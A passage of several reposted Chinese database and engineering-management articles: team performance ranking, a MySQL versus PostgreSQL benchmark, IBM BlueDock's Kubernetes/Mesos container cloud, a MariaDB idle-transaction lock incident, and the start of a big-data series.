习惯化:将中长期目标转化为日常习惯。比如CodeReview,简历推荐,技术分享等长期活动。我们不单是要在绩效考核上看最终结果,还要设定好循环任务,形成节奏,保持惯性。 如果我们要求团队了解公司发展动态,那么就要在任务管理系统中设置每周任务,包括阅读新闻,组织分享等具体行动,将对公司发展的认知融入日常工作中,而不是停留在一个口号上。 多重反馈: 即时反馈 - 目标拆解的子任务在任务管理系统中被完成 短期反馈 - 日报,周报,组会 长期反馈 - OneOnOne,绩效考核 忌: 目标口号化,没有具体行动; 长期目标只看最终结果,没有行动循环; 只在绩效考核的时候给反馈。 所以目标的制定要上下结合、信息透明,目标的构成要讲究多维度平衡,目标执行的过程要讲究习惯化和多重反馈。希望我提到的团队共享、划分维度、循环执行这三个要点对你有所启发。 7绩效管理 要点: 徽章管理 绩效评定 绩效反馈 对于技术管理者,一个很纠结的问题就是如何给团队排绩效。评价队友的工作,决定他们的奖励甚至去留并非易事。下面我和大家介绍一下技术团队的绩效排名方法。 承认困难 我们首先要承认,脑力工作者的绩效考核本身是非常困难的,甚至绩效排名这件事情本身的存废与否在业内也是备受争议的。 绩效评估中并不存在一套完美的数据模型,能够精确衡量每个人的产出并且根据算法排序。评估中必然含有大量的主观判断和标准不一致带来的异议。我们能做的事情,就是尽量优化评估的过程,让结果得到最大限度的认可。 绩效排名的指导原则 团队内提前对齐标准,形成正确预期,不能有惊喜; 信息收集要全面,要体现多元价值观,避免单一标准; 定性与定量结合,任何数据都只是参考,警惕虚假的精确性。 流程建设 如果绩效排名有困难,那么通常是评价标准不明确,信息收集不全面所导致的。我们可以通过更加严谨的评估流程来加以改善。 绩效排名是一个过程,不能一蹴而就,答案会在过程中逐步成型: 标准同步 绩效考核是团队全体的事情,相关的规则、流程、评价的标准要向团队内部宣讲并且达成一致。其中的要点和注意事项要对成员进行培训,以专业和严谨的态度看待考核流程。 公平决策的前提是信息互通。考核标准的同步是后续所有步骤有效性的基础。只有标准统一了,团队成员之间才能给出更有效的反馈,每个人才能建立正确预期,减少后续的争议。 顺畅的绩效考核功夫在平时,同步标准不应该只在季度末尾来做。 信息收集 信息收集要包括以下三个方面:自我评价、内部评价、外部评价。不同评价角度产出不同的文档,为后续决策提供多方位的依据。 自我评价: 团队成员首先要自己收集关于本季度工作情况的总结材料,内容要包括: 主要成果 - 从业务、技术、团队三方面阐述; 支撑数据 - 业务收益、开发效率提升、缺陷数等; 支撑案例 - 克服了哪些困难,体现个人能力的事例; OKR/KPI完成情况。 团队成员通过自我评价对工作进行反思,并且对绩效结果建立初步的预期。自评材料也是内部评价的依据之一。 内部评价: 集体Review:集体Review的目的是让大家相互了解工作成果,促进内部信息互通。形式是集中展示自我评价中收集的材料,当面宣讲,并且收集团队成员的意见反馈。 定性评价:很多情况下,团队成员的表现很难量化并且横向对比,这个时候定性的评价往往更有参考价值。一个人对另一个人的贡献的判断可能会因为标准不一而产生摇摆,但是人与人之间相互对待的态度则更加明确且稳定。 询问每个成员,你的队友当前阶段的工作表现符合以下哪种情况: 我以与他一起工作为荣 - 5 他的工作对我有激励作用 - 4 表现中规中矩 - 3 需要更加努力以达到优秀 - 2 长期来看可能会掉队或者对团队不利 - 1 经过集体Review之后,团队成员之间相互给出定性的评价。这些评价汇总之后形成表单,作为梯队划分的重要依据。 外部评价: 外部评价与内部评价关注的方向不同,是内部评价的辅助补充。 外部评价容易犯的毛病是流于形式、片面且没有可比性。例如,某PM对研发同学的反馈:“同学A工作认真负责,合作顺畅,开发质量高,期待后续合作中有更好的表现”。这种反馈对于绩效排名来说就没有参考价值,合作顺畅,有多顺畅,跟其它人如何对比,体现不出来。 引入外部评价时要注意全面性和可比性,尽量提高其参考价值。 选好合作方代表:比如同学A选了三个PM,同学B选了三个QA,他们给出的反馈虽然有价值,但是既不全面,也没有横向可比性,对于绩效排名来说并没有用。 最好是从不同角度选合作方代表,比如PM,QA,运营各出一人,他们同时了解同学A和同学B的工作,这样的反馈参考价值就要强很多。 分维度量化:使用统一的维度划分和评分,提高可比性。可以从以下维度给出反馈: 产出质量满意度 1-5 合作顺畅度 1-5 工作投入度 1-5 梯队划分 信息收集阶段我们产出的文档: 自评材料 - 成果,数据,案例,OKR/KPI 内部互评表单 - 集体Review之后,团队成员的定性互评 外部评价表单 - 分维度量化结果 以内部评价为主,外部评价为辅,综合前面流程中得到的信息,将团队成员划分成三个梯队: 排名调整:梯队确定之后,在各个梯队内部排名。由于不同梯队的定位各有侧重,梯队内部排名的价值取向也要各有不同。 绩效排名是一个团队价值观的最终体现,每个团队都有适合自己的价值取向,这方面有很强的主观性。我们要把内心中的评价标准摆到台面上,在各个维度对比审视,避免取向漂移。 前部: 影响力 - 对内要能激励团队,对外要有好评与认可 整体贡献 - 贡献不能停留在单个项目上,要对团队其它人有帮助,对业务整体发展有帮助 中部: 超出期望程度 价值观匹配度 后部: 投入度 成长意愿 梯队内排名后: 排名完成后,根据团队需要,可以进一步细分: 前部中挑影响力最大的,作为头部,形成明星效应; 后部中排名靠后的,挑出稳定性差的,管理风险小的,作为尾部,适当淘汰。 最终结果: 绩效排名是一个过程,每个步骤有不同的侧重和产出,在过程中逐渐接近答案。要通过流程建设来保证标准的一致性和信息的全面性。 我们可以使用定性与定量数据收集、梯队划分、排名调整等方法,让绩效排名结果得到最大限度的认可,并对团队整体起到推动作用。 8人才招募 互联网行业的人才市场是高度自由且开放的市场,各家能提供的薪资待遇在这个有效市场中处于动态平衡状态,很难形成局部优势。最终,团队的形象和声誉才是吸引优秀人才的根本所在。 人以类聚。我们在希望招募到高素质的候选人的同时,也要考虑到团队自身如何在候选人面前体现出高素质。 要点: 公共形象建设 渠道维护 人才标准 面试官培养 面试流程 9人才培养 人才培养更关注个体,团队建设更关注集体。团队一方面要做事,另一方面要育人,人才是团队的核心资产。 要点: 新人导入 培训体系 技能体系 导师制度 骨干培养 晋升通道 10团队建设 团队建设功夫在平时,关键是建立好内外沟通机制。沟通充分的话,文化和价值观自然能够协同一致,否则都是喊口号和空谈。 要点: 对内沟通 对外沟通 文化与价值观建设 知识沉淀 总结 团队管理也是一门技术,一样可以建立起一套完整且自洽的体系。本文给出的体系是一种参考。每个团队都可以根据实践经验整理出自己的管理体系,并且随着经验积累不断改进,在这个过程中提高全局意识,更好地指导团队管理工作。 原文发布时间为:2017-02-15 本文来自云栖社区合作伙伴DBAplus
Anastasia:开源数据库能应付每秒数百万次的查询吗?许多开源倡导者会回答“是的”,但是,断言是不够有理有据的证明。这就是为什么在这篇文章中,我们将分享Alexander Korotkov(CEO,Postgres专家)和Sveta Smirnova(首席技术服务工程师,Percona)的基准测试结果。而且,PostgreSQL 9.6和MySQL 5.7的性能对比研究对于多数据库环境特别有价值。 这项研究背后的想法是客观地比较两个流行的数据库。Sveta和Alexander想在相同的具有挑战性的工作负载中,并使用相同配置参数(如果可能的话)的情况下,用同一个工具分别对最新版本的MySQL和PostgreSQL进行测试。然而,由于PostgreSQL和MySQL的生态系统发展的独立性,所以要使用标准的测试工具(pgbench和SysBench)来测试这两种数据库的话,将会是一次不轻松的测试之旅。 这个任务交给了有多年实践经验的数据库专家手上。Sveta作为首席高级技术支持工程师,在Oracle MySQL技术支持小组的bug验证组工作了八年以上,2015年以来一直担任Percona的首席技术服务工程师。Alexander Korotkov是PostgreSQL的主要贡献者,助力于PostgreSQL功能的开发,包括CREATE ACCESS METHOD命令、通用WAL接口、lockfreePin/unpinbuffer、基于索引的正则表达式搜索等等。所以,在我们这个特别的游戏中有着相当不错的参与者。 Sveta:Dimitri Kravtchuk定期出版对于MySQL的详细测试基准,所以我的主要任务不是确认MySQL是否可以查询每秒百万。正如我们的图表显示,我们早已突破了这个限度。作为一个技术支持工程师,我经常在客户的多种异构数据库环境中工作,并想知道从一个数据库迁移到另一个的影响。所以,我找到了机会跟专业的Postgres公司合作,并发现这对于了解这两种数据库的优缺点来说是极好的机会。 我们想在相同的硬件上使用相同的工具和方法测试这两个数据库。我们想测试基础功能,然后进行更详细的比较。这样就可以比较出现实中不同的案例场景和流行的配置。 剧透:我们离最终的结果还很远,这只是一个系列文章的开始。 开源数据库在Big Machine上 系列1:“很相近...” Postgres专家使用Freematiq提供的两个新型号,为测试提供了强大的机器。 硬件配置: 处理器:数量=4,核数=72,虚拟核数=144,超线程已开启 内存:3.0T 硬盘速度:大概3K IOPS OS:CentOS 7.1.1503 文件系统:XFS 我也使用了一台较小的Percona服务器。 硬件配置: 处理器:数量=2,核数=12,虚拟核数=24,超线程已开启 内存:251.9G 硬盘速度:大概33K IOPS OS:Ubuntu 14.04.5 LTS 文件系统:EXT4 注意,部署MySQL的设备中,使用配备CPU核数较少并且硬盘更快的服务器比配备CPU核数高的服务器更普遍。 首先我们需要对使用哪种工具达成共识,公平地比较只有在工作负载尽可能接近时才更有意义。 标准的PostgreSQL性能测试工具是pgbench,在MySQL中用SysBench。SysBench支持多种数据库驱动和Lua编程语言脚本测试,所以我们决定使用SysBench作为两种数据库的测试工具。 最初的计划是将pgbench测试转换成SysBench lua语法,然后在两种数据库上运行标准测试。经过初步的测试结果,我们修改了测试方法来更好地研究特定的MySQL和PostgreSQL功能。 我把pgbench测试转换成了SysBench语法,并把测试上传到了一个开源数据库测试的GitHub知识库中。 然后我们都面临了一些困难。 当我写好之后,我在Percona服务器上也进行了测试。对于这个转换测试,结果几乎相同: Percona服务器: Freematiq服务器: 我开始研究,Percona的机器比Freematiq要好的唯一之处在于磁盘速度,所以我开始运行pgbench只读测试,这跟SysBench测试的内存中全表扫描的结果一致,但这一次SysBench使用了可用CPU资源50%: Alexander,相应的,遇到了SysBench的问题,在使用准备好的语句时无法创造出PostgreSQL上的高负荷: 我们联系了SysBench的作者Alexey Kopytov,他修正了MySQL的问题。解决办法是: 使用SysBench的参数 --percentile=0 --max-requests=0 (合理的CPU使用率) 使用concurrency_kit分支(更好的并发和Lua处理) 重写了Lua脚本来支持的准备好的语句(pull请求:https://github.com/akopytov/sysbench/pull/94) 启动SysBench和mysqld的时候使用jemalloc或tmalloc库预加载 PostgreSQL的修正方案在准备中。现在,Alexander将一个标准的SysBench测试转换成了pgbench格式,并且我们坚持做下来了。没有太多对于MySQL方面的调整,但至少我们有一个比较的基线。 我面临的下一个困难是默认操作系统参数。长话短说,我把它们改成了推荐的值: 相同的参数同样也对PostgreSQL的性能更好。Alexander同样设置了他的机器。 解决这些问题后,我们学习并继续进行测试: 我们不能使用单一的工具(现在) Alexander写了pgbench测试,模仿标准的SysBench测试 我们仍然不能编写自定义测试,因为我们使用不同的工具 但是我们可以使用这些测试作为基线。由Alexander完成工作后,我们坚持做了标准的SysBench测试。我把它们转换成使用事先准备好的语句,Alexander将其转化为pgbench格式。 应该注意的是,我不能得到和Dimitri做的只读和point select选择测试相同的结果。它们接近,但稍微有点慢。我们需要调查这是由于硬件不同而导致的结果,还是我缺乏性能测试能力的结果。从读写测试返回的结果是相似的。 另一个区别是PostgreSQL和MySQL测试。MySQL用户通常有许多连接。设置变量max_conenctions的值,并且限制并行连接总数在上千的级别并不少见。虽然不建议,但是人们使用这个选项,即使没有线程池插件。在真实生活中,绝大多数的这种连接大多是休眠状态。但总会遇到机会,在网站活动增长的时候他们都会被使用。 MySQL我测试了1024个连接。我用2的幂次方和多核:1,2,4,8,16,32,36,64,72,128,144,256,512和1024线。 对于Alexander来说,更重要的是在线程较小的步骤中进行测试。他从一个线程开始,增加了10个线程,直到达到250个并行的线程。所以你会看到一个更详细的关于PostgreSQL的图,但250个线程之后没有结果。以下是我们的比较结果:Point SELECTs pgsql-9.6 是标准的PostgreSQL pgsql-9.6 + pgxact-align是PostgreSQL的补丁包(更多的细节可在本文中看到) MySQL-5.7 Dimitri是Oracle's MySQL服务器 MySQL-5.7 Sveta是Percona服务器,版本5.7.15 OLTP RO OLTP RW Sync commit是PostgreSQL的一个功能,类似于InnoDB中的innodb_flush_log_at_trx_commit = 1,async commit类似innodb_flush_log_at_trx_commit = 2。结果非常相似:两个数据库都发展很快,并且与现代硬件很好地兼容。 MySQL使用1024个线程测试的参考结果。 Point SELECT and OLTP RO OLTP RW当参数innodb_flush_log_at_trx_commit分别设置为1和2时 收到这些结果后,我们做了一些特定功能的测试,将涵盖在单独的博客帖子中。 补充信息 MySQL选项OLTP RO和Point SELECE试验: MySQL OLTP RW的配置参数: MySQL SysBench的参数: PostgreSQL pgbench配置参数: MySQL 5.7中很多功能模块的性能明显提升了。 原文发布时间为:2017-02-13 本文来自云栖社区合作伙伴DBAplus
讲师介绍 刘光亚IBM云计算开发架构师 Apache Mesos PMC & Committer OpenStack Magnum Core Member Member - IBM Academy of Technology 西安Mesos & OpenStack Meetup组织者 基于Kubernetes的容器云 容器云最主要的功能是以应用为中心,帮助用户把所有的应用以容器的形式在分布式里面跑起来,最后把应用以服务的形式呈现给用户。容器云里有两个关键点,一是容器编排,二是资源调度。 容器编排就是我们期望能把一些微服务通过容器编排来帮助用户组建一个比较庞大的系统,而资源调度在容器云这种大规模分布式环境是必须的,需要一个比较好的调度平台来提升系统的资源利用率以及根据用户的资源请求帮助用户来调配资源。 我们IBM的BlueDock就是这样一个容器云平台,主要基于Kubernetes实现了容器的编排和资源调度,并默认使用Mesos作为底层的资源管理器,但如果用户没有运行多个framework的需求,可不使用Mesos。 为什么是Kubernetes和Mesos 为什么选择Kubernetes和Mesos作为容器云的基础平台?在项目启动前,我们对当前流行的容器社区做了很多调研,主要是Docker、Mesos和Kubernetes社区。 我们先看一下Docker,Docker社区主要由Docker公司把控,虽然是开源的,但其实Docker社区相对来说不是很开放,因为Docker公司有基于Docker的所有产品,包括Docker的公有云、私有云Docker Data Center等等。这样就导致了其他公司如果想基于Docker创业的话会比较困难,因为难以与Docker公司竞争。 而Mesos社区则更开放一些,主要原因是Mesosphere在基于Mesos研发了DC/OS,正在积极寻找一些合作者来推动DC/OS在企业的落地。同时Mesosphere也期望更多的公司、更多的人加入到这个社区,增加Mesos的影响力。所以这个社区相对Docker来说更开放一些,而且Mesos已经有很多落地的案例,在刚结束的MesosCon Asia上,我们可以看到国内其实有很多骨灰级的Mesos用户,但这些用户过于低调,没有及时将自己的经验分享出来,所以也希望这些用户或已在生产使用Mesos的用户能及时为大家分享一些经验,促进Mesos生态的发展。 相比起来,Kubernetes社区是最开放、最活跃、最多元化的,虽然Kubernetes是Google开源的,但Google没有任何一个产品是基于Kubernetes的。这样就给了大家很公平的机会,基本上每个人、每个公司都可以基于Kubernetes开发自己的产品。但Kubernetes目前欠缺的是一些落地的案例,另外其支持的集群规模大小也需要提升。 我曾试着把容器的这几个社区和我们以前做虚拟化的社区做过一些对比,不知道合不合适,Docker可以类比到VMWare,Mesos可以类比到Citrix,Kubernetes可以类比到KVM。大家可以在调研选型或者使用的时候,根据自己的需求选择合适的技术。 另外一个问题,大家应该可以看到Mesos和Kubernetes都在提供除了Docker之外的容器管理能力,Mesos花了很多时间去做Unified Container这个项目,目的就是即使没有Docker Daemon,用户也可运行Docker容器,同时使用Unified Container,还可运行其他容器,例如AppC、OCI等;Kubernetes也在集成Rkt给用户除了Docker之外的另一种选择。 整体架构 以上是我们容器云的总体概览,最左边是我们很熟悉的云平台的最重要的三层,IaaS、PaaS、SaaS,我们的BlueDock主要是提供PaaS的功能,是基于Kubernetes和Mesos(可选)来研发的。但如果我们建容器云的话,只有这两个是远远不够的,因为容器云里还有很多其他的功能,所以我们围绕着Kubernetes和Mesos,在上面加了很多企业级的东西,包括应用商店,资源调度的改进策略,应用、服务器的双层扩展,多租户管理,镜像管理,统一界面等等。应用商店:最主要的功能是把用户常用的一些应用做成模板,类似手机上的App Store,用户可以很方便地通过应用市场来对应用进行部署,同时BlueDock还支持对不同版本的应用在同一个应用商店进行管理。我们还支持用户对应用市场进行定制,这样就可以让用户把一些自己常用的应用上传到应用商店,供其它用户使用。资源调度的改进策略:因为容器的使用是一种高密度计算,对资源调度的要求很高,尤其是一些资源的抢占策略等等,这部分是原生的Kubernetes和Mesos都没有的功能,IBM对这块功能做了很大的改进,为容器云加入了资源抢占的功能。应用、服务器的双层扩展:这个我们可以理解为是一种联动扩展。当用户的应用因为负载的变化在扩展的时候,如果发现底层的服务器不够了,那应用就没办法去扩展了。这时我们的容器云就会和底层的OpenStack交互,通过OpenStack去申请一些新的服务器加入到容器云中,实现了容器云平台和用于应用的联动扩展。我们的容器云可以和多个不同的云平台集成,实现联动扩展的功能。多租户管理:这块主要是和OpenStack Keystone集成来对租户进行管理,同时将Keystone的Project映射为Kubernetes的namespace。另外一个是我们还通过和Keystone集成实现了层级的租户管理。按照这种层级的租户管理,一个很大的优势是可以按照层级的结构来对资源做事先的定义,这样的话就可以和企业的组织架构就可以很好的匹配起来,便于企业内部的资源分配。镜像管理:这个服务主要是对镜像进行管理,然后我们也调研了很多开源的对镜像管理的软件,例如Harbor,但是Harbor功能太多了,里面不单单有镜像管理的功能,还有对用户,租户管理的功能,权限控制等等,里边很多功能和我们的容器云是重复的,所以我们最终决定我们没有用这个项目,而是参考Harbor自己开发了一个新的服务来对镜像进行管理。 日志管理:主要是通过ELK来实现。持续集成:主要是通过Kubernetes Jenkins插件来实现的。这个插件的优势是在资源分配时,Jenkins根据任务属性自动创建临时Docker容器,并作为slave节点加入Jenkins集群,实现资源的分配;另外在任务执行结束后,Jenkins自动删除相关节点,并销毁相关Docker容器,实现资源的释放;整个资源分配和资源释放过程对用户来说是透明的,用户只需要创建好任务就可以了,不需要操作节点;对于Jenkins来说,slave节点(容器)是临时的,任务一结束就会销毁。为了实现数据持久化,需要和一些分布式的存储集成,例如Ceph、Glusterfs等等。统一的UI:对所有的服务进行操作,包括可以对UI对服务对镜像进行管理,对应用市场进行管理等等。 如何实现self-healing 上图是BlueDock中使用Kubernetes+Mesos的方案组件图。BlueDock中的所有组件,都是通过container来部署的。用container的一个最大的优势就是安装部署升级是很简单的,同时不会修改物理服务器的一些配置,对物理服务器不会有任何改动。我们现在的BlueDock,只需要一个通过一个“docker run”命令,就可以很方便在上百台服务器上把容器云跑起来,我们做过一些测试,如果要去部署五百台左右的服务器,我们可以在十分钟以内把整个容器云集群安装部署完成。 在图中的最下边用不同颜色的方框表示出了BlueDock中不同组件的管理方式。其中有三个比较重要的概念:Static pod、DaemonSet和Deployment。 Static pod是在特定节点上由kubelet守护程序直接管理的,Kubernetes APIServer不会对其进行管理。 它没有关联任何Relication Controller,kubelet守护进程来负责对Static pod的监控,并在static pod crash时重新启动它。 Static pod始终绑定到一个kubelet守护程序,并且始终在同一节点上运行。 DaemonSet可以确保所有(或一些)节点始终运行某个pod的副本。 当节点添加到集群时,DaemonSet可以保证自动在新添加的节点创建pod;如果节点被删除后,这些pod也会相应的被DaemonSet删除。 Deployment是kubernetes 1.2的一个新引入的概念,它包含着对Pod和将要代替Replication Controller的Replica Set的描述。 BlueDock主要通过Static Pod、DaemonSet和Deployment来对主要组件进行管理,这三个功能可以通过Kubernetes自身的功能保证BlueDock self-healing的功能,某些Pod crash后,Static Pod、DaemonSet和Deployment可以保证其会被重启,从而保证系统的高可用。 基本流程是通过ansible调用docker-py通过docker container的形式在master节点启动kubelet,在master节点的kubelet服务启动后,就会以static pod的形式创建master节点的一些组件,例如k8sm-apiserver、k8sm-scheduler等等,当master节点的所有组件启动完毕后,开始通过docker-py在不同的worker上启动mesos agent,当整个BlueDock集群开始运行后,再通过DaemonSet的形式启动一些BlueDock的add-on的一些组件服务,例如日志管理、网络管理等等。 日志管理主要是通过DaemonSet的形式启动了Filebeat,来搜集每个worker的容器日志信息。网络管理主要是通过DaemonSet在每个worker节点启动了Calico node的container,这个container里面包含了Bird路由管理、Felix协议等。其它还有一些组件通过Deployment来管理,例如用于对log进行过滤的logstash,用于对Network Policy进行管理的calico congtroller等等。 上图是BlueDock没有Mesos的部署方式,基本和带有Mesos的部署模式是一样的,全部都是通过容器来对所有组件进行管理,同时可以self-healing。在这里主要想强调的是,BlueDock对k8s-scheduler做了很大的改进,支持资源的抢占,智能回收的策略。因为一台服务器上可以启动成百上千个容器,所以在这种高密度计算中,对资源的调度策略要求很高。BlueDock通过和IBM Platform的EGO集成,实现了资源的抢占和智能回收的策略。 上图是BlueDock的一个简单的改进的资源借入借出的一个例子。现在有两个tenant,T1和T2,都独占8个资源,但是我们看到在T1和T2之间有个虚线,这个虚线表示T2可以从T1借入4个资源。所以当T1和T2去申请资源的时候,T1要4个,T2要12个,那T1可以直接拿到他独占的4个资源,T2要12个,但是他只独占8个资源,所以他会先拿到自己独占的这8个资源。 拿完之后,T2发现,他可以再从T1借4个,所以当T2从T1借完4个后,T1和T2的资源请求都得到了满足,同时系统的资源使用率也达到了100%,所以这个是我们通过资源借入借出实现的提升资源利用率的一个例子。另外,如果T1的请求再提升的话,T1可以把借给T2的资源再抢占回来,保证T1的SLA。 上图是BlueDock的两种不同的安装模式:包含和不包含Mesos,这个可以在用户对BlueDock安装的时候,通过“—enable-mesos”来控制。当BlueDock安装完成后,这两种模式会有统一的GUI界面,终端用户不会感知Mesos的存在,唯一的区别就是如果使用了Mesos,可以通过BlueDock管理Mesos的Framework。 BlueDock的Auth主要是通过Keystone实现了一个Kubernetes OpenID的provider,方便与其它第三方的应用集成实现单点登录的功能。同时利用了Kubernetes的RBAC的功能,可以定义细粒度的权限控制。另外在和Keystone的集成过程中,BlueDock将Kubernetes的namespace映射为Keystone的project,这样的话,可以借助keystone来对Kubernetes的用户和namespace来统一管理。 在BlueDock集群中的每个节点上运行一个Filebeat的容器,收集容器的日志发送给到LogStash来进行过滤,然后统一存储到ElasticSearch集群中,用户可以通过Kibana查看任意Node、Namespace、Service、Pod和容器的数据。在BlueDock中,ElasticSearch是作为DaemonSet在所有管理节点启动的。 应用管理主要通过Kubernetes Helm来管理,Helm是官方Kubernetes的一部分,主要用来进行软件包的管理。Helm的一个很重要的概念是Charts,表示可以安装并组成的预配置Kubernetes资源包。Helm采用客户端机服务器模式。服务器部分被称为tiller,同时包括你运行Kubernetes集群。客户端部分被称为helm,安装在本地的开发系统上。 在BlueDock中,为了让BlueDock的UI能直接调用Helm的API,我们通过Helm的Client实现了Helm的Rest API,这样可通过BlueDock的UI来调用Helm的Rest API实现对Kubernetes应用包的管理。同时在BlueDock中将Rest API、Helm Client和Tiller通过一个Kubernetes Deployment进行管理部署,这样可通过Kubernetes自身来对Helm的所有组件进行管理。 原文发布时间为:2017-02-09 本文来自云栖社区合作伙伴DBAplus
作者介绍 贺春旸,普惠金融MySQL专家,《MySQL管理之道》第一版、第二版作者。曾任职于中国移动飞信、机锋安卓市场,拥有丰富的数据库管理经验。目前致力于MySQL、Linux等开源技术的研究。 现象 开年头一天上班,开发说程序连接不上数据库了,程序伴随着有大量的update锁超时,试着引导他们用SQLYOG客户端连接均无问题,然后查看监控图发现有大量的锁,如下图: 排查 数据库版本为:10.0.28-MariaDB-enterprise - MariaDB Enterprise Certified Binary DELL R730XD 128G内存(BP 70G)/14块SAS 15000转RAID10 Update操作/秒30-50左右 innodb_lock_wait_timeout锁等待超时设置为10秒 在MySQL中information_schema库下有三个经典的数据字典表:INNODB_LOCK_WAITS、PROCESSLIST、INNODB_TRX,三者可以结合起来,就能够查到相对比较完整的阻塞信息和事务的情况。 1、通过以下SQL语句查看 SELECT a.trx_id, trx_state, trx_started, b.id AS thread_id, b.info, b.user, b.host, b.db, b.command, b.state FROM information_schema.`INNODB_TRX` a, information_schema.`PROCESSLIST` b WHERE a.trx_mysql_thread_id = b.id ORDER BY a.trx_started; 查询结果如下: 请注意红色标识的,trx_state事务状态是RUNNING,但command那里查不到正在执行的SQL,显示的是Sleep状态。2、通过以下SQL语句查看 SHOW ENGINE INNODB STATUS\G 查询结果如下: 请注意红色标识,事务ID和线程ID的状态为ACTIVE且运行了563秒,凭着以往处理故障的经验,这是N多条未提交事务的SQL引起的。 分析 当时慢查询日志里并没有记录慢SQL,线上设置的为1秒,询问开发是哪个SQL被锁了,也不清楚,说是通过框架生成的SQL语句,不好排查。 然后我们开启了general_log抓包,得到了很多简单的update,每次更新为1条记录,例如update t1 set name='aa' where id=XX,通过explain查看执行计划,where后面的字段都用到了索引,正常情况下执行这种SQL只需零点几毫秒的时间,但由于会话A对该记录更改未提交,会话B又对该记录进行更改,此时就会出现锁等待,直到超过了innodb_lock_wait_timeout参数设置的阈值。 在并发访问比较高的情况下,如果大量事务因无法立即获得所需的锁而挂起,会占用大量的连接数资源,造成严重的性能问题,甚至拖跨数据库。最终我们断定为开发的代码里应忘加了commit提交事务的操作,导致这一惨案的发生,可参考下面的重现操作。 前端应用JAVA Mybatis连接池一直不释放,积压过多的请求无法被处理,最终呈现给开发的现象是数据库又挂了。通俗来讲相当于在银行里办理业务,一个人办理不完,就得排队等待,越排越多,最终造成银行里人流混乱。 重现 MariaDB [test]> begin; Query OK, 0 rows affected (0.00 sec) MariaDB [test]> update t5 set name = 'aa' where id = 1; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 记住!千万别COMMIT!等待一会(抽一根烟的时间),然后重复执行上述命令,即可查看到跟我这里的截图完全一致。 解决方案 让开发再排查代码,已经不太现实了,时间不等人,业务不等人,不能再增加用户的投诉量了,DBA首先要保证的是数据库别跑挂了,先恢复! 下面介绍给大家一个参数innodb_kill_idle_transaction,意思为当一个事务长时间未提交,那么这个连接就不能关闭,内存就不释放,并发一大,导致DB连接数增多,就会对性能产生影响。 默认是0秒,你可以根据自己的情况设定阈值。超过这个阈值,服务端自动杀死未提交的空闲事务。 下面的截图展示了这一过程: 从图中结果上可以看出,当未提交的事务超过空闲时间30秒时,被后台进程自动KILL掉,执行COMMIT提交后,连接被强行断开。 设置这个参数后只针对新的连接有效,正在执行的连接无效,固我们让运维又依次重启前端应用后,数据库终于复活成功! 原文发布时间为:2017-02-08 本文来自云栖社区合作伙伴DBAplus
缘起 我们都知道,当前大数据的需求基本属于遍地开花。无论是帝都、魔都,还是广州、深圳,亦或是全国其他各地,都在搞大数据;不管是不到百人的微小公司,还是几百上千人的中型公司,亦或是上万的大型公司,都在需求数据岗位。 大公司暂且不论,他们一切都走在前头。那么,对于中小型企业来说,开始尝试以数据的思维去思考问题,开始涉足大数据领域,这就是一个从0到1的过程了。 有(bu)幸(xing),近半年来,我亲自见证以及亲身体会到了这个过程,或者至今仍然在完善1这个过程中。期间,有痛苦有坑、有喜悦有成功、有沉静有反思,这是一件快乐又痛苦,同时又注定会很有成就感的事。 所以,我写下了“从0到1构建大数据生态”的系列文章,当然,目标群体仅仅是在中小型企业中,从0到1开始构建数据生态的同行们。希望,我整理的这些东西,或者说一个技术小故事能够帮助到各位同行朋友,能够给你们在某些阶段一些有用的建议或参考。限于个人的知识累积以及能力,必然会存在一些误差或者观点错误,欢迎指正与交流。 蛮荒时代 1企业为什么想起要做大数据? 一个中小型企业,为什么突然就想起要开始做数据,开始组建大数据团队呢?从目前现状来看,这是一个很正常的现象。大家都做嘛!但有没有想过,为什么大家都做? 大数据这个鬼东西怎么在四五年前一下子就火得不行了,然后在这两年更是成了香馍馍,大批大批的传统IT从业人员,纷纷转行搞大数据。这是真的,近一年来,我面试的人里,很多都是从传统行业转型到大数据的,甚至有六到七年开发经验的也毅然决然转型。这定然是市场驱动使然,有利益就有市场,有市场就有需求。 而资本市场也偏好靠数据说话的企业,甚至出现了很多以数据业务为核心的企业公司,甚至专门做数据服务的行业,一样融到了大把大把的钱。个人认为企业开始关注,甚至是涉身大数据,资本偏好只是表象,在其内层必然还有更深层的原因。 在大数据真正兴起的08、09年之前,整个互联网都是一个蓬勃发展的时代,互联网自身普及以及覆盖度的提升,互联网基础实施、电脑智能设备等进一步普及,为各个互联网企业带来了巨大的红利。 15年的时候,我跟一个创业公司的CEO聊天,他说过一句话:“当年,我那个小论坛要是能坚持做下去,现在估计早就发达了。”是的没错,当年就是随便搞个网站,只要好好搞,基本都能吸引到一大片的人,有人就能产生利益。换成更专业点的术语就是:流量红利! 那么,到了现在,流量红利早已消息不见了。面向各种人群、满足各种需求的网站、软件、APP等等,铺天盖地而来,让用户应接不暇。你需要的、你不需要的、你能想到的、你想不到的,五花八门的企业都会为你提供,你怎么选?所以,流量红利消失了!该怎么搞? 那效率和效果这个事情就不得不重视起来了,让用户更好地使用你的东西,让你的东西更精准化、让你的员工策略方案更具有效率,那么,你就更能在千千万万的类似企业中生存下去。 所以,你的企业必然需要慢慢远离“我觉得吧”“我感觉”“可能”“或者”“按道理应该”这种词语,一切回归到数据中去,让你的决策跟着数据走。 快速进行方案假设、快速进行数据反馈、快速进行策略修正、快速进行决策,让自己跑的路线更准、让自己跑的更快。 让你的用户体验更好、用得更爽,让他感觉更亲切自然,而不是你强加于其上的意志,让他被迫看你安排的东西和用既定的功能。 所以,企业慢慢开始讲究预测用户的心理,开始谈必言其“个性化”。这听起来很玄乎,但确实是实实在在的用户本质需求。因为,用户的口味也被我们各种同质化严重的应用和软件给养刁了。 于是乎,大数据大行其道;于是乎,转行者如过江之鲫。最重要的是,哈哈,它给了我一口饭吃。 2你看到的是一个茹毛饮血的现状! 在引入大数据这个概念之前,试想一下,企业的数据层面会是处于一个什么样的状况?这里我想引用原始社会的一个标志词——茹毛饮血。 中小型企业一般使用传统的数据库来存储业务数据,并且很大一部分是MySQL(别问我为什么,因为它免费啊),我想,这点毋庸置疑。而一般的中小型企业,特别是小型创业公司,基本是不配置专门的数据库工程师的,都是业务开发人员兼任。 于是乎,你会看到各种各样奇葩设计的数据库表、各种各样错综复杂数据表关系、各种各样看起来不合理其实用起来也不合理的数据存储方式。 你以为你来做大数据的,这些业务数据就跟你没关系吗?关系可大发了,你第一个要处理的数据就是业务数据。你将会忙于天天跟业务开发人员沟通交流,焦头烂额地去梳理清楚这些业务关系,甚至是转换成你要的数据形态。 